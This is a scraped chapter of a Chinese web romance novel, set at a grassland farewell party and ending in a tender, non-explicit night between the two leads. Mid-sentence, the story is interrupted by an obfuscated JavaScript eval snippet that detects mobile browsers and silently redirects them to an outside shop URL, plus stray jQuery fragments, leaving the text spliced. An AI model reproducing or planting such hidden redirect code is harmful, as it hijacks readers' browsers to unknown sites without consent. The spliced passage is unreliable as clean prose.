文趣网 > 其他小说 > 她的小泪窝 > 24. 他想
    一大早,苏就带着一大堆东西钻进了她的毡房。

    “大家听说你要走了,非要在今天给你办一场欢送会。”苏长得比她要高大许多,两条粗壮的臂膀夹着红布袋,那件外衣里塞满了零碎的物什,说话间赶忙一股脑倒出来。

    银质红珊瑚耳环、嵌宝石辫饰、錾羊角手环、刻花草项圈……还有一顶极具民族特色的帽子。

    岑岑有些惊讶,“这些都给我的?”

    “对,都是大家凑的,尤其是这顶塔克亚,是奶奶做给你的。用了uke的羽毛,吉祥!”

    苏托起那顶帽子,在她头上比划了一下。

    “好看!”

    “今天欢送会大家都会来,我给你好好打扮,漂亮的跟我们道别吧,吉祥的跟大山道别吧,如意的跟大地道别吧。”

    “让我们保佑你吧。”

    苏说话的时候一直在笑,和煦的像是晒着阳光的河流,小雀斑恰似一跳一跳的涟漪。

    她的话语满是祝福,她的神情满是真挚,她捧着那顶红顶顶的帽子,帽顶插着一撮棕褐色羽毛,随着晨风微微摇曳。

    明明她与他们并不熟稔,不到半月,甚至她前两天刚醒过来,相识也就三两天。

    岑岑并不是铁石心肠的人。

    遇到淳朴的真情时,那颗常年贫瘠的心,真的跟着洋溢起来,一丝丝甜,一点点热。

    于是,她跟着女孩一同笑了。

    ******

    到时间去给小羊羔喂奶了。霍北风揣上奶瓶,走出了毡房。

    马占奎打趣地声音传来:“老大,你又去找那小闺女啊?”

    霍北风不搭理他。

    “老大,我听大嗓说,那个小闺女是京城里头的。”马占奎跑了两步跟上他。

    “听说可漂亮了,是不是?”

    “苏妹子说小闺女是你从无人区领出来滴?”

    ——“大嗓还看见你蹲在人毡房前哭了,真嘞假嘞?”

    霍北风被他说的脸上臊得慌,瞪了他一眼。“金虫的来历查清楚了吗?”

    “那不有大嗓呢,他最爱研究这些玩意儿了,我不爱研究。”马占奎道。

    霍北风:“这活你们明天之前不弄明白,就绕着草场跑三十圈吧。”

    “别啊老大!”

    “五十圈。”

    丢下这句,霍北风揣着奶急吼吼地走了。什么事儿都不能叫刘大嗓那个大嘴巴知道,叫他知道了全世界就知道了,看一会儿他怎么收拾他。

    霍北风走到岑岑的毡房前,发现房门大开,里头传来苏的声音。

    这小姑娘总往岑岑这儿跑。

    他面露好奇,先是敲了敲门框,然后抬手撩起门帘——

    女孩坐在地上,粉色阔以列克的裙摆在她身下开成一朵艳丽的花,衬得她小脸银粉。两条辫子垂落肩前,一串又一串银饰洒在身后瀑布般的长发上。

    她照着镜子,指尖拨弄了一下耳垂,那对红玛瑙耳坠摇曳起来。

    “叮铃”,风吹响了门前的羊角铃,“叮铃”,风卷起它,扬起,转动,缠绕其上的绿松石还不停地敲打那层轻巧可怜的骨壳……“叮铃”,风好急,切切推搡它,“叮铃”“叮铃”……

    岑岑似乎听见了,听见了那阵急切的声音。小小的脸仰着,竟冲着他笑了。

    “啪嗒”。

    羊角铃再也经受不住,应声断裂。

    他这辈子都不会忘记了。

    霍北风想。

    ******

    那只虚弱的小羊羔,很爱喝奶时睡在霍北风怀里。

    岑岑忍不住摸了摸那颗脑袋,温热无比的。她不由地随着卷曲的毛发向下滑动,滑动,柔软的,柔顺的,如绸缎的。

    突地,指尖微微烫了。

    两人相贴,只有指尖那一点。

    良久,没人挪开那一点。直到两人的视线撞在一起,呼吸也愈发沉重。

    “嘬。”

    一声嘬弄。

    岑岑低头看去,那只原本睡在霍北风怀里的小羊羔不知何时调转,一边拱弄着往她怀里钻,一边半咪着眼去嘬她的衣角,“嘬”,“嘬”。

    “衣服要湿了。”

    霍北风伸手去摆小家伙的嘴巴,折腾了半天才将那团衣角拯救出来,他看着那块沁出深晕的衣料。

    “它记住了你的味道。”

    “会舍不得你的。”

    岑岑看着他低垂的眉目,轻笑一声。

    “霍北风。”

    “是你舍不得我。”

    是啊,

    是他舍不得。

    篝火灼热,驱散了夜晚的寒凉,将每个人的脸庞都腾得红扑扑的。

    岑岑也不例外。

    她的脸红扑扑的,她吃了烤马肉,喝了驼奶酒,唱了歌,跳了舞,听了冬不拉。

    和每个人说吉祥如意的话,然后拥抱,告别。

    转眼夜深,已是凌晨。篝火旁只剩下了她和霍北风,以及那头性格古怪的毛驴崽子。

    霍北风喝了很多酒,比她要多,但那张脸也只是微微红着,脸色也依旧如常。

    马上的汉子,铁血的身子,估计轻易是喝不醉的。

    岑岑不一样,她不爱喝酒,更没喝过这种油脂重的烈酒。她醉了,醉得整个人都好热,出了一层薄汗,轻轻将头靠在了霍北风的肩头,燥得她蹭了两下。

    “霍北风,我醉了。”

    霍北风嗯了一声,“我送你回去。”

    男人的手托着她站起来,岑岑朝前迈了一步,有些走偏了,可她不管。

    她的人生没有准确的道路,她一直在随心所欲地走偏,走不稳也走,路坎坷也走,看不清也走,没尽头也走……

    她就这样走着,朝着自己的毡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733882|208716||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    房走。

    霍北风一寸不离地跟在她的身后,看着她摇摇晃晃的身影,屡次伸出手想搀扶她,最终却还是她自己稳住了身子,站定了步伐,分辨了方向。

    他只是跟着,跟了一路,直到她需要他。

    女孩蹲在毡房前,许久没能打开那扇门,霍北风终于走上前去,他将软趴趴的女孩拉起来,用身体托着她,腾出双手去开门。

    一会儿功夫,岑岑就在他怀里睡着了。

    他轻轻叫了一声:“岑岑。”

    没得到回应,霍北风将人抱进毡房。这时女孩又醒了,半梦半醒吧,她靠在他怀里,不停地嗅闻他,鼻尖和唇瓣蹭在他的锁骨、颈窝、脖颈……

    霍北风就这般由着她,也许是因为她喝醉了,行为无状实属正常。也许,他只是不想躲,更不愿意躲……舍不得躲。

    他将人放到塌上,正欲抽身——

    锁骨处传来刺痛,女孩无端咬在了他身上,咬得好用力,恨不得嗜他的肉。

    霍北风蹙着眉忍痛,抬起的手也只是轻拍她的后背,安抚在他身上作乱的女孩。

    就算今夜她真的在他身上咬下块肉来,他恐怕也会全盘接受。

    就算不食下块肉,在他身上留块疤也好。

    也算是弥补他失去的那一块。

    霍北风这样想着。

    这样有些疯狂地想着。

    于是,他的双手不自觉拥住了对方。

    拥得好紧,紧到对方在他怀里发出一声不满的闷哼。

    勉强唤回他的神志。霍北风缓缓松开手,挤压的胀痛酥麻从他怀中抽离,两人的身体分开,分别,分离……

    突然,

    岑岑的手拥了上来——

    还好,她拥了上来。

    她啃咬的地方换了一处,开始放肆地在男人饱满的唇上作乱。

    痛,酸,痒,女孩太擅长欺负他。可霍北风忍不住回应她,用尽全身力气回应她——他好想任她宰割。

    不知这疯狂的拥吻持续了多久,没人愿意结束,没人舍得结束。

    是啊,

    好舍不得。

    好舍不得,他好舍不得。

    霍北风被欺负的哽咽一声,再也忍不住将人压到塌上,低头去吻女孩的额头、眼睛、鼻尖、脸颊一颗颗小小的痣……直到他耐得嘴唇微颤,才轻轻吻在她红肿的唇上。

    他舍不得……

    他舍不得……

    “岑岑……”

    “别哭了,不欺负你了。”女孩伸出手抚摸他的脸颊,轻轻吻过他湿润的眼角,咬过他的耳朵——

    “那我问你,你想不想?”

    霍北风脑袋昏昏沉沉,身体瘫瘫软软,也许也是醉了,也许也是醉了……如果再也见不到的话——他想。

    他想。

    他想任她宰割。

    ******